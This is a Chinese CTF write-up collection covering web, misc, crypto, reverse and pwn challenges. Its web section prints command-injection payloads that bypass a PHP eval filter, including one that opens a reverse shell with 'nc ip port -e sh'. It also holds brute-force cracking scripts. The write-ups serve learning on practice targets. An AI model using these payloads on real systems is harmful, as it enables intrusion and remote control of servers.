题解
web:XYCTF2024-牢牢记住,逝者为大
打开环境,是源代码
看到了熟悉的preg_match函数
代码解析:
输入的cmd长度不能超过13,可以使用GET[‘cmd’]躲避长度限制
使用正则表达式过滤的一系列关键字
遍历get数组,检查每个参数值是否包含以下参数值
将 cmd 参数拼接到字符串 #man, 和 ,mamba out 中,然后通过 eval 执行,eval前面和后面都有脏数据,最简单的办法是换行和注释绕过
分别在最前和最后加上%0a、%23
法一:
构造payload把flag复制到根目录em里面,复制成功后访问em获取flag
补充:cp 是一个用于复制文件和目录的命令。它可以将源文件或目录复制到目标位置,并保持文件或目录的属性。
cp [选项] 源文件或目录 目标位置
payload:
?cmd=%0d`$_GET[c]`;%23&c=cp /flag em
八进制绕过:
前后用+连接(否则系统读取不到)
?cmd=%0d`$_GET[c]`;%23&c=$'\143\160'+$'\57\146\154\141\147'+$'\145\155'
没有返回错误值
访问em,得到flag
法二:
这道题没过滤nc,所以可以连接服务器到kali,再使用命令
~# nc -lvnp port
cat/f**
payload:
?cmd=%0a`$_GET[1]`;%23&1=nc ip port -e sh
misc:buuctf-小明的保险箱
下载附件,是一张图片
查看属性,啥也没有
stegsolve查看,有隐藏的rar文件
更改后缀位为.rar并解压
需要密码,想起题目提示是四位纯数字密码,用ARCHPR爆破
得到flag
crypto:[GXYCTF2019]CheckIn
下载附件,是一串base64编码
解密,得到另一串密文
各种解密方法都试了,整不成
看了大佬的wp,此密文的ASCII码值都处于33 ~ 126范围,确定为ROT47加密
解密得到flag
reverse:buuctf-CrackRTF
下载附件,用PE查看,32位无壳
ida32查看源代码
分析:
输入密码,若长度不等于6则输出提示
等于6的话就看是否大于100000
atol:将字符串转化为整型
将输入的密码与字符串@DBApp拼接
调用sub_40100A对拼接后的函数值进行处理,并将处理结果与预定义的哈希值进行比较,猜测该函数是一个哈希函数
输入第二部分6位数的密码
将第二部分的输入与第一部分的拼接结果再次拼接
后面也同样是处理和比较
查看Sub_40100A函数,标识符0x8003u,
是sha1加密
第一阶段破解:
思路:编写脚本暴力破解 6 位数字与@DBApp进行拼接,计算哈希值并比较
脚本:
import hashlib
target_hash = "6E32D0943418C2C33385BC35A1470250DD8923A9"
for x in range(100000, 1000000):
s = f"{x}@DBApp"
sha1 = hashlib.sha1(s.encode()).hexdigest().upper()
if sha1 == target_hash:
print(f"{x}")
break
第二阶段:
思路:同样也是遍历所有可能的 6 位字符串,拼接,比较
查看sub_401019函数,标识符0x8003u,md5加密
查看sub_40100F函数
要在AAA文件中查找字符e
用resource hacker打开文件,确实有AAA,但是暂时用不上
跟进sub_401005函数,是一个异或加密的函数
a2
是从前面一堆函数返回的指针,应该是指向AAA
文件中的位置,文件首指针,然后把它和Str
异或,结果输出为一个.rtf
文件,我们需要知道Str
的前六位
在桌面上创建一个.rtf文件,用resource hacker打开
前六位是'{\rtf1'
,发现任意rtf
文件都是这样的结构,把.rtf
和AAA
文件前六位异或,就可以得到Str
的前六位
脚本:
a2=[0x05, 0x7D, 0x41, 0x15, 0x26, 0x01]
rtf='{\\rtf1'
rtf=list(rtf)
for i in range(0,len(rtf)):
rtf[i]=ord(rtf[i])
v5=6
flag=''
for i in range(0,6):
flag+=chr(a2[i] ^ rtf[i])
print(flag)
运行程序,输入两次的密码,生成了一个.rtf文件
flag
pwn:buuctf-others_shellcode
pe查看
ida32打开 ,查看主函数
跟进getshell
直接就进sh了
法一:
脚本:
from pwn import*
context.binary = './shell_asm'
io = remote( 'node5.buuoj.cn',26801)
io.sendline( b'cat flag' )
io.interactive()
法二:
一顿操作猛如虎,愣半天看别人wp才知道这就是一道简单的nc